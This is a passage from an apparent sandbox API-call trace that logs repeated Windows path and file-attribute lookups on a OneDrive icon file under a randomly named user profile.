lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.826] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.826] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.829] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.829] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.829] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.831] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.831] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.832] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.832] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.832] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.834] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.834] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.836] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.836] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.837] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.837] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.837] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.838] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.930] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.930] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.931] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.931] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, 